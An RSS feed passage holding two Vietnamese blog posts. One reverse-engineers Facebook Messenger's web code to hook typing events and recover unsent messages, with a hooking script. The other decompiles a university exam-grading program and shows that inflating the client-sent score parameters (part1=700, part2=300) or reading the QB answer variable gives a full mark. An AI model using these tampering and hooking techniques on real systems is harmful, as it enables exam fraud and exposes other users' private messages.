l.addRetroactiveListener(<span class="hljs-string">"state-changed"</span>, <span class="hljs-built_in">this</span>.typingStateChanged),
k.subscribe(<span class="hljs-string">"messages-received"</span>, <span class="hljs-built_in">this</span>.messagesReceived)
);
};
</code></pre>
<p>Lời gọi hàm <strong>c('MercuryTypingReceiver')</strong> thực chất tương tự với <strong>require('MercuryTypingReceiver')</strong>, và đưa cho nó hàm <strong>this.typingStateChanged</strong> để gọi mỗi khi có thay đổi. Dù chúng ta không rõ bản chất nó hoạt động ra sao (chắc tác giả lười phân tích :v), tuy nhiên có vẻ đây chính là hàm chúng ta cần.</p>
<p>Nhìn qua hàm <strong>typingStateChanged</strong>, ta có ý tưởng về cấu trúc lưu trữ của <strong>MercuryTypingReceiver</strong>. Có vẻ như nó là một dictionary dùng để map các thread id với một mảng các typing user id. Hiểu đơn giản là nó lưu trữ xem những user nào đang typing trong một thread tin nhắn.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1674628886993/eff8c2d9-5e52-4fbe-8b60-74d751a3ccf0.png" alt /></p>
<p>Ok, giờ ta sẽ thử sử dụng <strong>MercuryTypingReceiver</strong></p>
<p>Bằng cách sử dụng hàm "require" như mô tả ở trên, ta có thể test <strong>MercuryTypingReceiver</strong> ngay trong console (tuy nhiên với phiên bản Facebook web hiện tại thì không nhé :'( ). Kết quả được như sau:</p>
<pre><code class="lang-javascript">&gt; <span class="hljs-keyword">const</span> MercuryTypingReceiver = <span class="hljs-built_in">require</span>(<span class="hljs-string">'MercuryTypingReceiver'</span>);
<span class="hljs-comment">// undefined</span>
&gt; MercuryTypingReceiver
<span class="hljs-comment">// function j(k){/* bunch of gibberish /}</span>
</code></pre>
<p><em>Trước đó ta thấy</em> <strong><em>MercuryTypingReceiver</em></strong> <em>có hàm static</em> <strong><em>getForFBID*</em></strong>. Tuy nhiên Chrome Dev Tools không cho ta inspect trực tiếp thuộc tính của hàm. Vì vậy ta sẽ wrap nó trong object (đây là một trick hay bạn có thể note lại để sử dụng).*</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1674628889099/dbc0cc58-c0cd-4670-a1d1-fa4b4a35aebe.png" alt /></p>
<p><em>Ổn đấy</em></p>
<p><em>Giờ chúng ta xem thử các hàm static,</em> <strong><em>get</em></strong> <em>và</em> <strong><em>getForFBID*</em></strong>:*</p>
<pre><code class="lang-plaintext">&gt; MercuryTypingReceiver.getForFBID
// function (i){var j=this._getInstances();if(!j[i])j[i]=new this(i);return j[i];}
&gt; MercuryTypingReceiver.get
// function (){return this.getForFBID(c('CurrentUser').getID());}
</code></pre>
<p><em>Từ đây, ta nhận ra rằng hàm</em> <strong><em>MercuryTypingReceiver.getForFBID(fbid)</em></strong> <em>tạo ra một instance của</em> <strong><em>MercuryTypingReceiver</em></strong> <em>từ fbid (id của người dùng FB), trong khi</em> <strong><em>MercuryTypingReceiver.get()</em></strong> <em>là một hàm tiện ích dùng để lấy instance của</em> <strong><em>MercuryTypingReceiver</em></strong> <em>của user hiện tại. Chúng ta sẽ bỏ qua</em> <strong><em>getForFBID()</em></strong> <em>và dùng hàm</em> <strong><em>get()</em></strong> <em>cho tiện.</em></p>
<p><em>Như chúng ta đã biết hàm</em> <strong><em>addRetroactiveListener</em></strong> <em>có params là</em> <strong><em>(eventName, listener)</em></strong> <em>gọi từ</em> <strong><em>MercuryTypingReceiver</em></strong>  <em>instance. Giờ việc sử dụng của chúng ta rất đơn giản:</em></p>
<pre><code class="lang-plaintext">const inst = MercuryTypingReceiver.get();
inst.addRetroactiveListener('state-changed', state =&gt; {
console.log(state);
});
</code></pre>
<p><em>Sau khi chạy dòng code này trong console, có thể bạn đã thấy một số object bắt đầu được in ra (tuy nhiên hiện tại phần này không còn hoạt động được nữa nhé :v). Ngoài ra bạn cũng có thể tự gửi tin nhắn cho mình để xem các sự kiện này:</em></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1674628891904/813e8e03-68bc-45aa-8e9c-78caa591f9f8.png" alt /></p>
<p><em>Điều này cũng khiến ta khẳng định thêm rằng</em> <strong><em>MercuryTypingReceiver</em></strong> <em>lưu trữ các trạng thái trong một dictionary và map các thread id với id của các user đang typing trong thread đó.</em></p>
<p><em>Đây là những thông tin mà chúng ta đang tìm kiếm, tuy nhiên nếu như chúng ta không lấy được tên của người dùng từ user id, có nghĩa là chúng ta không thực sự có được những thông tin như mong muốn.</em></p>
<p><em>Sau một hồi nghiên cứu mã nguồn, tác giả tìm được 2 module hữu ích khác:</em></p>
<ul>
<li><p><strong><em>MercuryThreads</em></strong> <em>cho phép chúng ta lấy mọi thông tin về một thread trong Messenger từ id của nó</em></p>
</li>
<li><p><strong><em>ShortProfiles</em></strong> <em>cũng tương tự nhưng với user profiles</em></p>
</li>
</ul>
<p><em>Cuối cùng đó chính là đoạn code hooking đưa mọi thứ vào hoạt động:</em></p>
<pre><code class="lang-plaintext">function getUserId(fbid) {
return fbid.split(":")[1];
}
requireLazy(
["MercuryTypingReceiver", "MercuryThreads", "ShortProfiles"],
(MercuryTypingReceiver, MercuryThreads, ShortProfiles) =&gt; {
MercuryTypingReceiver.get().addRetroactiveListener(
"state-changed",
onStateChanged
);
// Called every time a user starts or stops typing in a thread
function onStateChanged(state) {
// State is a dictionary that maps thread ids to the list of the
// currently typing users ids'
const threadIds = Object.keys(state);
// Walk through all threads in order to retrieve a list of all
// user ids
const userIds = threadIds.reduce(
(res, threadId) =&gt; res.concat(state[threadId].map(getUserId)),
[]
);
MercuryThreads.get().getMultiThreadMeta(threadIds, (threads) =&gt; {
ShortProfiles.getMulti(userIds, (users) =&gt; {
// Now that we've retrieved all the information we need
// about the threads and the users, we send it to the
// Chrome application to process and display it to the user.
window.postMessage(
{
type: "update",
threads,
users,
state,
},
""
);
});
});
}
}
);
</code></pre>
<h3 id="heading-unsend-recall">Unsend Recall</h3>
<p>Ở bài blog này, tác giả có <strong>2 mục đích chính</strong> cần đạt được khi nghiên cứu mã nguồn của Facebook web:</p>
<ul>
<li><p><strong>Bắt sự kiện tin nhắn bị xoá, lấy thông tin về tin nhắn và lưu lại</strong></p>
</li>
<li><p><strong>Hiển thị lại các tin nhắn bị xoá này</strong></p>
</li>
</ul>
<p>Với mục đích hiển thị tin nhắn, tác giả đã sử dụng React Dev Tools để inspect vào component trên trang</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1674628894049/1c55e914-08bc-4d6d-8801-fe7dc314df57.png" alt /></p>
<p>Bức ảnh của tác giả thể hiện quá trình inspect element</p>
<p>Vì bức ảnh của tác giả hơi thiếu thông tin nên mình sẽ show thêm một bức ảnh khác thể hiện quá trình inspect React component của mình. Sau khi cài React Dev Tools thì web console của bạn sẽ hiển thị thêm 1 tab "Components" trên các trang React và 1 nút inspect riêng như mình tô đỏ ở phía bên trái. Bạn nhấn nút inspect này sau đó nhấn vào component cần inspect sẽ xem được một số thông tin hữu ích như tên của component, props, state của component, source code,...</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1674628896613/6cccd841-21d8-43a0-9c10-b556cb49e30d.png" alt /></p>
<p><strong>Cho tới hiện tại đây vẫn là một cách mình thường sử dụng để xem code flow của các components</strong>. Tuy nhiên việc trace ngược từ dưới lên khó ở chỗ bạn phải trace ngược call stack lên để tìm các params mà bạn quan tâm. Các component nằm ở dưới sâu trong DOM tree thường được phân chia quá lặt vặt và không chứa các thông tin bạn mong muốn, ngoài ra trong quá trình trace có thể chúng sẽ bị wrap mất. Ví dụ dưới đây function call tới hàm render được wrap bằng hàm applyWithGuard. Nếu trace tiếp lên trên thì chỉ toàn gặp các function call lủng củng không liên quan lắm.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1674628898449/1881f614-0e5a-4534-9c54-a09c4e0e6949.png" alt /></p>
<p><strong>Vì vậy kinh nghiệm của mình khi trace các component này đó là nhìn xem tên component trông có liên quan đến nhiệm vụ của nó hay không</strong>. Ví dụ component được tác giả lựa chọn làm điểm bắt đầu của nghiên cứu đó là "MessengerRemovedMessageTombstone.react", một cái tên rất là liên quan luôn.</p>
<p>Ngoài ra bạn cũng có thể xem props và state của chúng, thậm chí sửa/xoá các DOM element này xem chúng ta mối liên quan gì.</p>
<p>Ví dụ ở đây vì không tìm được cái tên nào liên quan nên mình đã tìm loanh quanh và thấy 1 component có props chứa dòng chữ "You unsent a message", chính là dòng chữ hiển thị ở tin nhắn đã xoá.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1674628900927/3d3f6dc6-fc6d-4db5-ae00-6c092f8bd8de.png" alt /></p>
<p>Sau khi tìm được component liên quan rồi thì ta inspect code của nó bằng cái nút mình khoanh đỏ trên ảnh.</p>
<p>Sau khi nhận được đoạn code, ở đây mình lấy đoạn code của tác giả bài blog cho dễ hiểu nhé, các bạn hãy coi mấy phần ảnh ở trên mình chụp chỉ là ví dụ để làm rõ cho kiến thức thôi, chúng ta vẫn sẽ đi theo sườn nội dung của bài viết.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1674628903465/36008466-72f4-4421-a99b-0eac53206247.png" alt /></p>
<p>Ở đây ta thấy rằng phần code của hàm "getTombstoneContent" được bôi đậm trong ảnh có vẻ như là hàm chịu trách nhiệm trả về nội dung của tin nhắn bị xoá này. Để chắc chắn hơn, chúng ta có thể đặt debug để xem hàm này chịu trách nhiệm cho việc gì.</p>
<p>Để demo cho phần này chúng ta sẽ quay trở lại với ví dụ của component có chứa dòng chữ "You unsent a message" của mình.</p>
<p><strong>Để đặt breakpoint tại một dòng, chúng ta chỉ cần nhấn vào số dòng đó</strong>. Một dòng tag màu xanh như sau sẽ hiện lên. Sau đó bất cứ khi nào đoạn code được execute tới chỗ này, nó sẽ dừng lại để cho bạn xem và sửa thông tin.</p>
<p><strong>Ta cũng có thể xem callstack và đặt watch bằng thanh công cụ debug ở bên phải</strong>. Việc xem callstack giúp cho chúng ta hiểu được lời gọi hàm này xuất phát từ đâu, đặt watch giúp ta theo dõi các biến ta quan tâm có giá trị gì. Ngoài ra ta có thể di chuột vào các biến trong hàm để xem giá trị và dùng console để chỉnh sửa các giá trị trong scope theo nhu cầu.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1674628906279/f702b699-122e-4002-8a53-1e2cb36785da.png" alt /></p>
<p><strong>Tóm lại ta hiểu đơn giản ở bước này ta cần tìm được hàm chịu trách nhiệm cho việc hiển thị một dữ liệu bất kì. Nếu ghi đè được hàm này ta sẽ có quyền kiểm soát nó hiển thị ra bất cứ thông tin gì mình muốn.</strong></p>
<p>Tuy nhiên lại có một vấn đề khác ta cần lưu ý. Ở đây với component trong hình này, việc ghi đè hàm "getTombstoneContent" là rất dễ, do nó nằm trong 1 object (a = {}). Trong javascript object là mutable, khi ta sửa object thì object gốc cũng sẽ bị thay đổi luôn.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1674628903465/36008466-72f4-4421-a99b-0eac53206247.png" alt /></p>
<p>Vì vậy công việc của tác giả bài viết này ở đây chỉ đơn giản là gọi object này ra sau đó ghi đè lại hàm cần thiết là xong (việc gọi nó ra bằng cách nào mình sẽ giải thích sau).</p>
<p>Trong thực tế hầu hết các component React hiện tại mà mình gặp đều trả về 1 function, khiến cho việc ghi đè không còn dễ như vậy nữa. Hầu hết thời gian mình dành để nghiên cứu cũng là dành để giải quyết vấn đề này. Về chi tiết làm thế nào mình sẽ mô tả sau.</p>
<p>Sau khi xử lý được dữ liệu rồi, ta cần quan tâm tiếp tới việc làm sao để bắt được sự kiện mình mong muốn. Ở đây ta cần bắt sự kiện khi người dùng xoá tin nhắn.</p>
<p>Theo như mô tả của tác giả thì sau khi tìm kiếm trong mã nguồn, tác giả đã tìm thấy module tên là "MercuryThreadInformer" chứa hàm "informNewMessage". Hàm này có nhiệm vụ thông báo sự kiện mỗi khi tin nhắn được gửi tới.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1674628908826/7108b042-8e90-49bc-a844-d8947c8f4dd2.png" alt /></p>
<p>Tuy các biến ở đây (và hầu hết tất cả các biến trong đống mã nguồn bạn sẽ thử đọc) đều đã được rút gọn, chúng ta có thể thấy trong object, biến a được map vào key "threadID", còn biến b được map vào key "message". Việc của chúng ta lúc này chỉ đơn giản là ghi đè hàm nói trên bằng phần xử lý của chúng ta.</p>
<p>Để mô tả thêm cho phương pháp ghi đè hàm trong object, mình xin đưa ra một ví dụ như sau:</p>
<pre><code class="lang-javascript"><span class="hljs-comment">// Object chứa function ban đầu</span>
<span class="hljs-keyword">var</span> obj = {
<span class="hljs-attr">f</span>: <span class="hljs-function"><span class="hljs-keyword">function</span> (<span class="hljs-params">a, b</span>) </span>{
<span class="hljs-comment">// Do something</span>
}
}
<span class="hljs-comment">// Function xử lý của chúng ta dùng để ghi đè</span>
<span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">preOverride</span>(<span class="hljs-params">a, b</span>) </span>{
<span class="hljs-comment">// Do some thing else</span>
}
<span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">postOverride</span>(<span class="hljs-params">c</span>) </span>{
<span class="hljs-comment">// Do something from execution result</span>
}
<span class="hljs-comment">// Lưu lại function ban đầu</span>
<span class="hljs-keyword">const</span> origF = obj.f
obj.f = <span class="hljs-function"><span class="hljs-keyword">function</span>(<span class="hljs-params">a, b</span>) </span>{
preOverride(a, b);
<span class="hljs-keyword">let</span> res = origF(a, b);
<span class="hljs-keyword">return</span> postOverride(res);
}
</code></pre>
<p>Ở đây mình demo 2 kiểu override đó là override trước hàm gốc (preOverride) và override sau hàm gốc, sử dụng kết quả của hàm gốc (postOverride). Ý tưởng chính của việc override này đó là lưu lại tham chiếu tới hàm gốc ban đầu sau đó ghi đè hàm này và thêm hàm xử lý của chúng ta vào tuỳ theo nhu cầu.</p>
<p>Nếu muốn xem phần code hook của tác giả, bạn có thể tham khảo <a target="_blank" href="https://github.com/t-rekttt/Unsend-Recall-For-Messenger/blob/master/hook.js">tại đây</a>. Đây là phần code đã bị xoá nhưng mình may mắn fork lại được.</p>
<h2 id="heading-tong-ket-kien-thuc">Tổng kết kiến thức</h2>
<p>Sau khi vừa dịch vừa viết kiến thức của phần vừa rồi, chợt mình cảm thấy lo lắng vì 2 bài blog nêu trên vừa dài lê thê, toàn những câu từ kĩ thuật mà lại còn toàn những kiến thức bị outdate, khó thực hành được. Mình tự hỏi liệu đọc xong đống kiến thức ở trên liệu người ta hiểu vào đầu được bao nhiêu?</p>
<p>Bản thân mình đã nhiều lần mày mò thử nghiệm sử dụng những kĩ thuật trên hàng tháng trời trước khi bắt đầu tạo ra được một thứ gì đó, cho nên mình sẽ tóm tắt ngắn gọn những kiến thức mà mình nghĩ người đọc sẽ cần đạt được trước khi tiến xa hơn:</p>
<ul>
<li><p>Hiểu biết về cách định nghĩa một module trên web Facebook</p>
</li>
<li><p>Hiểu biết cơ bản về cấu trúc của một React component, cách debug React component</p>
</li>
<li><p>Hiểu về cách sử dụng React Dev Tools, về cách debug/trace code Javascript</p>
</li>
<li><p>Biết cách chọn starting point cho nghiên cứu, bắt đầu từ những từ khoá liên quan nhất, biết cách search một số pattern keyword để tìm manh mối</p>
</li>
</ul>
<h2 id="heading-loi-ket-phan-1">Lời kết phần 1</h2>
<p>Phần này dù dài dòng và nhiều lý thuyết, thậm chí những kiến thức có thể thực hành được thì đã outdate rất nhiều nên những gì bạn có thể thực sự đem ra áp dụng ngay sau phần này có lẽ không nhiều. Nhưng việc hiểu những kiến thức ở phần này là điều kiện rất quan trọng để bạn có thể hiểu được cách mọi thứ hoạt động và tự tạo ra những tính năng mà mình muốn, chứ không phải phụ thuộc vào một vài dòng code được chuẩn bị sẵn.</p>
<p>Ở phần 2 mình sẽ tập trung vào trải nghiệm thực tế của bản thân, và chia sẻ những dòng code tự mình viết ra, những dòng code mà bạn có thể paste ngay vào console để tự mình thấy kết quả. Hãy đón xem nhé!</p>
]]></content:encoded></item><item><title><![CDATA[Phân tích phần mềm chấm thi FineLinux]]></title><description><![CDATA[FineLinux là phần mềm chấm thi môn "Linux và phần mềm mã nguồn mở" dành cho sinh viên đại học Thuỷ LợiHôm nay trong buổi test thử phần mềm để chuẩn bị cho bài thi online cuối môn, tôi đã có dịp phân tích thử phần mềm này xem mức độ bảo mật của nó tới...]]></description><link>https://thao.pw/nghien-cuu-phan-mem-cham-thi-finelinux</link><guid isPermaLink="true">https://thao.pw/nghien-cuu-phan-mem-cham-thi-finelinux</guid><dc:creator><![CDATA[T-Rekt]]></dc:creator><pubDate>Sun, 27 Jun 2021 12:18:24 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1674629476818/2fbd3a25-c03c-4cf5-a352-c5fbad9adeb5.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p></p><p>FineLinux là phần mềm chấm thi môn "Linux và phần mềm mã nguồn mở" dành cho sinh viên đại học Thuỷ Lợi</p><p>Hôm nay trong buổi test thử phần mềm để chuẩn bị cho bài thi online cuối môn, tôi đã có dịp phân tích thử phần mềm này xem mức độ bảo mật của nó tới đâu, liệu có thể bị sinh viên gian lận trong quá trình thi không.</p><p>Đầu tiên sau khi tải phần mềm về và giải nén, tôi nhận được 2 file như sau:</p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1674628827998/13212122-3334-4383-9503-cb5ee411ee97.png" class="kg-image" alt /><p>File exe chỉ có 40kb, trông hơi khả nghi, dù sao thì tôi cũng sẽ vứt nó vào Sandboxie kèm với Fiddler proxy debugger xem liệu có capture được http request nào thú vị hay không.</p><p>Ban đầu, phần mềm hiển thị 1 form đăng nhập như sau:</p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1674628830321/3e37a2d7-c9e4-4378-9664-f368582c18d3.png" class="kg-image" alt /><p>Sau khi điền thông tin và bấm đăng nhập, tôi nhận được kết quả như sau (thông tin sinh viên chỉ mang tính chất tham khảo, không phải thông tin thật)</p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1674628832565/63fee3bd-9cf7-427e-afdc-5453e6089a58.png" class="kg-image" alt /><p>Request nhận được ở Fiddler:</p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1674628834884/a8ce7de9-15f6-4882-85cf-a74e18dd54e7.png" class="kg-image" alt /><p>Tôi nhấn thử "Xem đề trắc nghiệm", phần mềm hiển thị 1 form như sau:</p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1674628836590/472ad562-e5e1-4d2c-a58e-f81da4354016.png" class="kg-image" alt /><p>Vì mục đích thử nghiệm nên tôi đánh thử vài câu rồi chọn "Chấm trắc nghiệm"</p><p>Phần mềm gửi lên 1 request như sau:</p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1674628839046/e7ff9e56-3413-492d-a5e2-910a5e43f421.png" class="kg-image" alt /><p>Con số 163 trông rất bí ẩn, vì vậy tôi quyết định decompile phần mềm này. Vì vừa mở lên có thể nhận thấy đấy là phần mềm viết bằng C# Winform nên tôi đã mở nó bằng phần mềm JustDecompile.</p><p>Sau một hồi tìm quanh thì tôi thấy vài điều khá thú vị</p><p>Đầu tiên là giải thích cho con số 163, đây là hàm gửi request:</p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1674628840896/9a7ed54e-ccc6-4216-8b12-39b420dd97ce.png" class="kg-image" alt /><p>Vậy con số 163 này được tạo thành bởi giá trị làm tròn của <strong>mark <em> heso</em></strong>, là 2 biến double được truyền vào hàm.</p><p>Trace theo lời gọi hàm, ta thấy hàm này được truyền vào các tham số sau:</p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1674628843394/0d44b293-1a16-4457-98e2-5f61542e29f1.png" class="kg-image" alt /><p>Có vẻ <strong>heso</strong> là 1 giá trị tĩnh nào đấy, tìm phần khai báo của nó ta được kết quả sau:</p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1674628845843/00b1af08-53a8-4321-9cc0-ea2d17127037.png" class="kg-image" alt /><p>heso[1] = 7</p><p>heso[2] = 3</p><p>(về sau này tôi nhận ra rằng đây là hệ số của phần trắc nghiệm và điền khuyết, trắc nghiệm chiếm 7 phần và điền khuyết chiếm 3 phần trong tổng số điểm)</p><p>Tiếp theo là biến <strong>num</strong>, nhìn lại lời gọi hàm ở trên ta thấy biến <strong>num</strong> được tính bằng hàm <strong>qf.Score</strong>. Tiếp tục trace hàm này:</p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1674628848130/238f0a38-d209-4218-823a-cb3288fa250f.png" class="kg-image" alt /><p>Ta thấy hàm for qua các câu hỏi (0 -&gt; <strong>answer.Length</strong>, mảng này chứa các checkbox đáp án của mỗi câu) và gọi hàm <strong>CheckAnswer2</strong>. Trace tiếp hàm này:</p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1674628850441/467d6aef-306e-476d-b386-a3824e1b6b53.png" class="kg-image" alt /><p>Chỗ này mặc dù tôi có nháp ra và đã hiểu nhưng tôi nghĩ nó hơi khó giải thích, đại loại việc nó làm là như sau:</p><p>- For qua các checkbox của câu hỏi thứ k</p><p>- Nếu checkbox thứ <strong>num1</strong> được chọn, check xem trong đáp án có phương án này hay không, bằng cách convert số <strong>num1</strong> ra thành chữ cái tương ứng với checkbox (<strong>"ABCDEF"[num1]</strong>) rồi  check index. Nếu có thì <strong>num += 1</strong>. Nếu không có =&gt; sv chọn sai, 0 điểm (return <strong>length = 0</strong>)</p><p>- Cuối cùng gán lại length = Số lựa chọn đúng / Tổng số đáp án đúng (<strong>num / num / (double)this.QB[k][0].Length</strong>)</p><p>- Trả về length là điểm thành phần của câu đó</p><p>Có thể đọc xong cái giải thích cái hàm <strong>CheckAnswer2</strong> này bạn vẫn chả hiểu gì hết. Vậy thôi, với mục đích gian lận thì ta có một cách nghĩ đơn giản hơn. Cùng nhìn lại hàm Score:</p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1674628852328/65c872fd-c7ca-42d4-a86a-9a7311c2dd93.png" class="kg-image" alt /><p><strong>double length = num  100 / (double)((int)this.answer.Length);</strong></p><p><strong>- num</strong> là tổng số điểm thành phần. Trả lời đúng mỗi câu bạn sẽ được 1 điểm</p><p><strong>- this.answer.Length</strong> là số câu hỏi</p><p>Nghĩa là tổng số điểm bài trắc nghiệm của bạn sẽ là <strong>tổng số điểm thành phần / số câu hỏi <em> 100</em></strong> =&gt; Max là 100 điểm</p><p>Hệ số điểm của bài trắc nghiệm là 7 =&gt; Điểm gửi lên server sẽ là <strong>tổng số điểm  7</strong>.</p><p>Quay lại với con số 163. Ta chỉ cần lấy <strong>163 / 7</strong> sẽ biết được số điểm tổng = <strong>23.28</strong> ~ <strong>23.3 trên 100</strong></p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1674628854829/cb5ed855-d15c-487c-b8c8-533af856e32b.png" class="kg-image" alt /><p>Vậy để được max số điểm, ta chỉ cần sửa con số 163 này thành 700</p><p>Tương tự với phần điền khuyết, ta sửa params thành part2=300 để được số điểm max</p><p>Ngoài ra, ta còn có thể xem giá trị biến <strong>QB </strong>để lấy dữ liệu ngân hàng đề và đáp án, cách này đơn giản và hiệu quả, không cần phân tích nhiều:</p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1674628856753/422eb035-3c77-424e-8c18-ad0758c1edff.png" class="kg-image" alt /><p></p>
]]></content:encoded></item></channel></rss>